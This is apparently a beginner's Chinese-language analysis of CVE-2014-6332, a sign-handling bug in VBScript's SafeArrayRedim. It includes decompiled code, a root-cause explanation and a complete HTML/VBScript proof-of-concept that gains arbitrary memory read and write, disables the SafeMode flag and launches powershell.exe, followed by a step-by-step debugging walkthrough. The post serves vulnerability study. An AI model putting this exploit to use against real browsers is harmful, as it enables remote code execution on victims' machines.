73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
HRESULT __stdcall SafeArrayRedim(SAFEARRAY *psa, SAFEARRAYBOUND *psaboundNew)
{
SAFEARRAY *v2; // esi@1
USHORT v3; // cx@3
__int32 v4; // eax@6
signed int v5; // ebx@6 // 有符号的int类型
ULONG v6; // ebx@9
LONG v7; // edi@9
unsigned int v8; // eax@9
struct IMalloc *v9; // edi@11
SAFEARRAY *v10; // eax@14
int v11; // eax@17
SAFEARRAYBOUND *v13; // eax@38
ULONG v14; // [sp+Ch] [bp-18h]@9
LONG v15; // [sp+10h] [bp-14h]@9
struct IMalloc *v16; // [sp+14h] [bp-10h]@6
int v17; // [sp+18h] [bp-Ch]@3
unsigned int v18; // [sp+1Ch] [bp-8h]@9
size_t Size; // [sp+20h] [bp-4h]@7 //
SAFEARRAY *psaa; // [sp+2Ch] [bp+8h]@6
SAFEARRAYBOUND *psaboundNewa; // [sp+30h] [bp+Ch]@38

v2 = psa; // 待调整数组的指针
if ( psa )
{
if ( psaboundNew )
{
v3 = psa->fFeatures;
v17 = psa->fFeatures & 0x2000; // FADF_FIXEDSIZE
if ( psa->cDims )
{
if ( psa->cLocks > 0 || v3 & 0x10 )
return -2147352563;
psaa = 0;
v16 = 0;
v4 = GetMalloc(&v16);
v5 = v4;
if ( v4 && v4 < 0 )
return v5;
Size = SafeArraySize(v2); // 获取原始数组大小
if ( !Size || v2->pvData )
{
v6 = v2->rgsabound[0].cElements; // 原始数组元素个数
v7 = v2->rgsabound[0].lLbound;
v2->rgsabound[0] = *psaboundNew; // 新的数组 SAFEARRAYBOUND 替换原来的
v14 = v6;
v15 = v7;
v8 = SafeArraySize(v2);
v18 = v8;
if ( v8 == -1 ) // 验证是否替换成功,失败则还原
{
v2->rgsabound[0].cElements = v6;
v2->rgsabound[0].lLbound = v7;
v5 = -2147024882;
}
else
{
v5 = v8 - Size; // 计算数组大小改动的差值
if ( v8 != Size )
{
v9 = v16;
if ( v5 < 0 && v2->fFeatures & 0xF20 ) // v5是有符号数,只有值大于0x8000000则恒小于0
{
if ( v17 )
{
psaa = (SAFEARRAY *)((char *)v2->pvData + v8);
}
else
{
v10 = (SAFEARRAY *)v16->lpVtbl->Alloc(v16, -v5);
psaa = v10;
if ( !v10 ) // 如果内存分配失败,直接返回,没有将数组大小还原
goto LABEL_32;
memcpy(v10, (char *)v2->pvData + v18, -v5);
v8 = v18;
}
}
if ( v17 )
{
if ( v8 <= Size )
goto LABEL_19;
v13 = (SAFEARRAYBOUND *)v9->lpVtbl->Alloc(v9, v8);
psaboundNewa = v13;
if ( v13 )
{
memcpy(v13, v2->pvData, Size);
v2->pvData = psaboundNewa;
v2->fFeatures &= 0xDFFFu;
goto LABEL_19;
}
}
else
{
v11 = (int)v9->lpVtbl->Realloc(v9, v2->pvData, v8);
if ( v11 )
{
LABEL_18:
v2->pvData = (PVOID)v11;
LABEL_19:
if ( v5 >= 0 )
{
memset((char *)v2->pvData + Size, 0, v5);
}
else
{
if ( psaa )
ReleaseResources(v2, (VARIANTARG *)psaa, -v5, v2->fFeatures, v2->cbElements);
if ( v17 )
psaa = 0;
}
v5 = 0;
goto LABEL_25;
}
if ( !v18 )
{
v11 = (int)v9->lpVtbl->Alloc(v9, 0);
goto LABEL_18;
}
}
v2->rgsabound[0].cElements = v14;
v2->rgsabound[0].lLbound = v15;
LABEL_32:
v5 = -2147024882;
LABEL_25:
if ( psaa )
v9->lpVtbl->Free(v9, psaa);
return v5;
}
}
return v5;
}
}
}
}
return -2147024809;
}

从上面代码中,可以看出该漏洞成因主要有两点:

  1. 本身数组结构中的元素个数cElements字段为无符号类型,而在处理新旧数组元素个数的时候却使用了有符号数来保存差值。这就导致了当新旧数组的元素个数的差值相差大于了0x8000000时,上面代码中的v5会将最高位的1解释成符号位,从而使得v5恒小于0,在后面判断中进入了错误的分支。
  2. SafeArrayRedim在调整数组大小时,是先将psaboundNew结构赋值给psa->rgsabound,然后再去申请内存空间,但是如果内存申请失败,存在一个分支,会直接让函数返回而不对数组大小进行还原。使得原数组变成了一个超长数组,导致了任意地址的读写。

漏洞利用分析

完整poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
<!doctype html>
<html>
<title>CVE-2014-6332 POC</title>
<body>

<script LANGUAGE="VBScript">
dim arrayA()
dim arrayB()
dim arraySize
dim overSize
dim index
dim myarray

function Begin()
On Error Resume Next
BeginInit()

If CreateArray() = True Then
Trigger()
end if
end function

function BeginInit()
Randomize()
redim arrayA(2)
redim arrayB(2)
arraySize = 5
index = 2
end function

function readMemory(addr)
On Error Resume Next
redim Preserve arrayA(overSize)
arrayB(0) = 0
arrayA(arraySize + 2) = addr + 4
arrayB(0) = 1.69759663316747E-313
readMemory = lenb(arrayA(arraySize + 2))
arrayB(0) = 0
redim Preserve arrayA(arraySize)
end function

function RunWin32Exe()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "powershell.exe"
end function

function Trigger()
On Error Resume Next

pCScriptEntryPoint = setCScriptEntryPoint()

pAddr = readMemory(pCScriptEntryPoint + 8)
pAddr = readMemory(pAddr + 16)

for offset = 0 to &h60 step 4
progId = readMemory(pAddr + &h120 + offset)
if(progId = 14) then
redim Preserve arrayA(overSize)
arrayA(arraySize + 4)(pAddr + &h11c + offset) = arrayB(4)
redim Preserve arrayA(arraySize)
Exit for
end if
next
RunWin32Exe()
end function

sub testfunc()
end sub

function setCScriptEntryPoint()
On Error Resume Next
myarray = chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray = myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

pScriptEntryPoint = testfunc
pScriptEntryPoint = null
Msgbox "waiting for debug"
IsEmpty(arrayA)
IsEmpty(arrayB)
redim Preserve arrayA(overSize)
arrayB(0) = 0
arrayA(arraySize + 2) = pScriptEntryPoint
arrayB(0) = 6.36598737437801E-314
arrayA(arraySize + 4) = myarray
arrayB(2) = 1.74088534731324E-310
setCScriptEntryPoint = arrayA(arraySize + 2)
redim Preserve arrayA(arraySize)
end function

function Over()
On Error Resume Next
dim type1
Over = False

arraySize = arraySize + index
overSize = arraySize + &h8000000

redim Preserve arrayA(arraySize)
redim arrayB(arraySize)
redim Preserve arrayA(overSize)
arrayA(arraySize) = 10
arrayB(0) = 1.123456789012345678901234567890
type1 = 1

If (IsObject(arrayA(arraySize + 1)) = False) Then
if(vartype(arrayA(arraySize + 1)) <> 0) Then
If(IsObject(arrayA(arraySize + 2)) = False ) Then
type1=VarType(arrayA(arraySize + 2))
end if
end if
end if

If(type1=&h2f66) Then
Over = True
End If

redim Preserve arrayA(arraySize)
end function

function CreateArray()
On Error Resume Next
dim i
CreateArray = False

For i = 0 To 400
If Over() = True Then
CreateArray = True
Exit For
End If
Next
end function

Begin()
</script>
</body>
</html>
1
2
3
4
5
// 下面是poc中用到的浮点数在内存中的表现形式,转换很简单,使用 python 的 struct: struct.pack('>d', n).encode('hex')
1.123456789012345678901234567890 => 0x3ff1f9add3746f66
1.69759663316747E-313 => 0x0000000800000008
6.36598737437801E-314 => 0x0000000300000003
1.74088534731324E-310 => 0x0000200c0000200c

整个poc执行流程如下:

  1. 初始数组arrayA, arrayB
  2. 通过循环redim 使得arrayAarrayBpvData空间连续(中间相差一个heap指针)。(CreateArray函数)
  3. 通过定义函数指针赋给变量的方法获取获取CScriptEntryPoint对象地址,从而找到COleScript对象,然后利用漏洞将伪造的数组结构myarray布局到内存中,使得成功访问到SafeMode并修改其属性值为0,此时已开始上帝模式。(Trigger函数)
  4. 执行自定义的命令。(RunWin32Exe函数)

内存布局

调试poc,在vbscript!VbsIsEmpty处断点进行调试:

memory-layout

调试可以发现,arrayAarrayB两者的实际数据存储地址只相差8个字节,通过arrayA的越界读,可以使得arrayB的数据能够控制arrayA元素的类型。

而达到需要的内存布局则是通过不断循环redim修改数组来的。数值1.123456789012345678901234567890保存在arrayB(0)中,VARIANT结构的Type为5,值为0x3ff1f9add3746f66,此时访问arrayA(arraySize + 1), arrayB(0)Data High + Data Low 部分会被当成 arrayA(arraySize+1)Type + Reserved 部分,即VarType(arrayA(arraySize+1)) == 0x2f66. (上图中实际Type值是0x6f66, 但是VarType求出来的值是 0x2f66,因为 VbsVarType 中实现是 return *(_WORD *)VAR::PvarGetVarVal(a1, 1) & 0xBFFF; 即少了 0x4000,去掉了引用属性。)

获取 CScriptEntryPoint对象指针

继续上面的调试,我们在vbscript!AssignVar处下断点,第一次执行会断在arrayB(0)=0处,继续执行,第二次则会断在arrayA(arraySize + 2) = pScriptEntryPoint处,观察数组中的值:

assign-func

此时arrayA(arraySize+2)中存放的就是CScriptEntryPoint对象指针,但是由于其类型为VT_NULL无法读出其值。所以需要通过内存错位进行修改。poc中arrayB(0) = 6.36598737437801E-314对应的内存值为0x0000000300000003,而0x3对应的类型为VT_I4,即vbLong型,从而可以读取到CScriptEntryPoint对象指针:

modify-type

此时,通过arrayA(arraySize+2)便可读取到CScriptEntryPoint对象指针的值。下一步便是需要通过内存任意地址读写修改Safemode标志位的值从而能够执行命令。

实现内存地址任意读

在poc中,实现内存地址读的函数为:

1
2
3
4
5
6
7
8
9
10
function readMemory(addr)
On Error Resume Next
redim Preserve arrayA(overSize)
arrayB(0) = 0
arrayA(arraySize + 2) = addr + 4
arrayB(0) = 1.69759663316747E-313
readMemory = lenb(arrayA(arraySize + 2))
arrayB(0) = 0
redim Preserve arrayA(arraySize)
end function

内存地址里的数据主要通过readMemory = lenb(arrayA(arraySize + 2))进行读取,lenb函数用于计算VT_BSTR类型字符串的长度,lenb对应实现函数为vbscript!VbsLenB,用IDA查看:

LenB-0

LenB

vbscript!VbsLenB中,实际调用cbLengthBstr函数进行计算字符串的长度,图中a1为字符串地址,可以看到,在求字符串长度时,其实取的是字符串地址前4字节的值。

arrayB(0) = 1.69759663316747E-313对应的内存值为0x0000000800000008。通过arrayB(0)arrayA(arraySize+2)的类型修改为了VT_BSTR。那么0x006af9a4存放的就是字符串所在的地址,地址前的4个字节存放的就是字符串的长度。所以对于lenb(arrayA(arraySize + 2))相当于取得是地址为0x006af9a4-4处存放的值,故前面通过arrayA(arraySize + 2) = addr + 4进行修正。

VT_BSTR

上面实现了内存的读取,加上已经找到的CScriptEntryPoint对象指针,下一步便是找到safemode标志位并进行修改。

safemode

找到标志位后,需要对其进行修改。在setCScriptEntryPoint中,我们构造了一个字符串变量myarray,字符串值为010080080100000000000000000000000000ff7f00000000,观察它在内存中的结构:

myarray

myarray

可以看到在地址0x004b566c上存的其实是一个精心构造的SAFEARRAY数组。但是在arrayA数组中,被解释为0x8类型,即为VT_BSTR。而后一句arrayB(2) = 1.74088534731324E-310对应的内存值为0x0000200c0000200c,它利用内存错位,将类型由原来的0x8修改成了0x200c,而0x200c表示的是VT_VARIANT|VT_ARRAY。也就是说arrayA中又包含了一个数组,该数组索引从0开始,长度为0x7fff0000,每个元素大小为1字节。

现在,已经实现了任意地址读写,下一步便是修改safemode的值。arrayA(arraySize + 4)(pAddr + &h11c + offset) = arrayB(4),arrayB(4)中存的VARIANT类型值为0。因为修改时长度为4字节,因此偏移&h120需要修改成&h11c

此时,safemode已经被置为0,后面便可成功运行RunWin32Exe中的shellcode了。

总结

第一次调试这样的漏洞,以新手视角进行书写。

参考

  1. https://paper.seebug.org/240/
  2. https://bbs.pediy.com/thread-248273.htm
  3. https://bbs.pediy.com/thread-248310.htm